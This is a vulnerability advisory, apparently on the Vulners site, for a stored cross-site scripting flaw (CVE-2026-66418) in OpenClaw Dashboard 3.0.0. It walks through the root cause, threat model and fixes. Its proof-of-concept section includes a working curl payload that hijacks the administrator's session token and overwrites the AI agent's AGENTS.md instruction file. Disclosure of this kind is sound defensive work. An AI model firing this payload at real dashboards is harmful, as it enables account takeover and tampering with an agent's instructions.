📄 OpenClaw Dashboard 3.0.0 Cross Site Scripting
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2026-66418 | 30 Jul 202620:55 | – | attackerkb | |
| CVE-2026-66418 | 30 Jul 202622:04 | – | circl | |
| CVE-2026-66418 | 30 Jul 202620:55 | – | cve | |
| CVE-2026-66418 OpenClaw Dashboard v3.0.0 Stored XSS via Failed Login Username Field | 30 Jul 202620:55 | – | cvelist | |
| EUVD-2026-51309 | 30 Jul 202620:55 | – | euvd | |
| CVE-2026-66418 | 30 Jul 202621:18 | – | nvd | |
| PT-2026-66598 | 30 Jul 202600:00 | – | ptsecurity | |
| CVE-2026-66418 OpenClaw Dashboard v3.0.0 Stored XSS via Failed Login Username Field | 30 Jul 202620:55 | – | vulnrichment |
# Security Advisory: Unauthenticated Stored Cross-Site Scripting Leading To Administrator Account Takeover (openclaw-dashboard)
Title: OpenClaw Dashboard v3.0.0 Stored XSS via Failed Login Username Field
Assigned CVE ID: CVE-2026-66418
Target Repository: https://github.com/tugcantopaloglu/openclaw-dashboard
## Summary
The login endpoint records the submitted username in the audit log without any
validation. The notification panel later reads those log entries and writes them into
the page with `innerHTML` and no escaping. An attacker who cannot log in can still send
a failed login request whose username is a script payload. The next time the logged-in
administrator opens the notification bell, that payload runs in their browser, in the
dashboard's origin, with access to their session token.
- CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)
- CWE-117: Improper Output Neutralization for Logs
- CVSS 4.0: 9.3 (Critical). Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N`
## Affected versions
Introduced in v3.0.0, which added the notification center that renders audit-log
entries. Present in v3.0.0 and every later commit up to and including the current
`main` (d6198d0). Not fixed at the time of writing.
## Threat model
The attacker is a remote party who can reach the dashboard's HTTP port but has no
account and no valid credentials. This matches the login screen being reachable by
anyone who can open the dashboard. The only precondition is that an administrator
account already exists, which is true for any deployment past first-run setup.
The payload is stored, so no timing coordination is needed. It executes when the
administrator opens the notification panel, which is a normal action offered by the UI.
Once it runs, it has the same abilities as the administrator's browser: it can read the
session token and call any authenticated endpoint on the victim's behalf.
## Root cause
**Step 1. The username is logged verbatim.** A login with a username that does not
match the registered account reaches this branch:
```js
// server.js:1577-1583
if (username !== creds.username) {
recordFailedAuth(ip);
auditLog('login_failed', ip, { username });
res.writeHead(401, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ error: 'Invalid username or password' }));
return;
}
```
`username` comes straight from the JSON request body. There is no length limit,
character allowlist, or type check. `auditLog` writes it to disk as a JSON line:
```js
// server.js:278-282
function auditLog(event, ip, details = {}) {
try {
const timestamp = new Date().toISOString();
const entry = JSON.stringify({ timestamp, event, ip, ...details }) + '\n';
fs.appendFileSync(auditLogPath, entry, 'utf8');
```
`JSON.stringify` escapes quotes and newlines, so the payload stays on one line and
parses back cleanly. It does not escape `<`, `>`, or `/`, so HTML markup survives intact.
**Step 2. The log is read back.** The notifications endpoint returns recent log lines
to the browser:
```js
// server.js:2042-2051
if (req.url.startsWith('/api/notifications')) {
if (!requireAuth(req, res)) return;
const limit = parseInt(new URL(req.url, 'http://localhost').searchParams.get('limit') || '50');
try {
const raw = fs.readFileSync(auditLogPath, 'utf8').trim();
const lines = raw.split('\n').filter(Boolean).slice(-Math.min(limit, 200));
const events = lines.map(l => { try { return JSON.parse(l); } catch { return null; } }).filter(Boolean).reverse();
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ events }));
```
**Step 3. The username is written into the DOM without escaping.** The frontend builds
each notification row by string concatenation and assigns it with `innerHTML`:
```js
// index.html:5647-5653
body.innerHTML = data.events.map(e => {
const icon = notifIcons[e.event] || '📋';
const time = e.timestamp ? new Date(e.timestamp).toLocaleString() : '';
const detail = e.username ? ' (' + e.username + ')' : '';
const ip = e.ip ? ' from ' + e.ip : '';
return '<div class="notif-item"><div class="notif-icon">' + icon + '</div><div class="notif-content"><div class="notif-event">' + (e.event||'').replace(/_/g, ' ') + detail + ip + '</div><div class="notif-time">' + time + '</div></div></div>';
}).join('');
```
`e.username` is the attacker's string. It reaches `innerHTML` with no encoding, so the
browser parses it as HTML.
The Content-Security-Policy set at server.js:298 includes `script-src 'self'
'unsafe-inline'`, so inline event handlers such as `onerror` are allowed to run.
## Proof of concept
1. Make sure an administrator account exists (any normal install). The attacker does not
need its credentials.
2. As the unauthenticated attacker, send one failed login whose username is the payload:
```bash
curl -X POST http://TARGET:7000/api/auth/login \
-H 'Content-Type: application/json' \
-d '{"username":"<img src=x onerror=\"fetch('\''/api/key-file'\'',{method:'\''POST'\'',headers:{Authorization:'\''Bearer '\''+getStoredToken(),'\''Content-Type'\'':'\''application/json'\''},body:JSON.stringify({path:'\''AGENTS.md'\'',content:'\''owned'\''})})\">","password":"x"}'
```
The server replies `401 Invalid username or password` and stores the payload.
3. The administrator logs in normally and clicks the notification bell.
4. The payload runs in the administrator's session. In this example it reads the session
token with the page's own `getStoredToken()` and uses it to overwrite the agent
instruction file `AGENTS.md` through `POST /api/key-file`. Any authenticated endpoint
can be called the same way.
The payload text stays a single log line and comes back byte-for-byte through
`/api/notifications`, so the injection and the execution can be confirmed separately.
## Impact
Code execution in the dashboard origin as the administrator. The script can read the
session token and issue any authenticated request, including editing the agent's
instruction and skill files and changing the OpenClaw configuration. Because the
attacker needs no account, this turns an unauthenticated network request into control of
the administrator's session.
## Remediation
- HTML-encode every value before placing it in `innerHTML`, or build nodes with
`textContent` instead of string concatenation. The notification username, event, and
IP fields all need this.
- Validate `username` on the server before logging it: cap its length and restrict it to
an expected character set.
- Remove `'unsafe-inline'` from `script-src`. With inline handlers blocked, this issue
drops from code execution to harmless markup.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Aug 2026 00:00Current
4.8Medium risk
Vulners AI Score4.8
CVSS 49.3
CVSS 3.19.3
EPSS0.00338
SSVC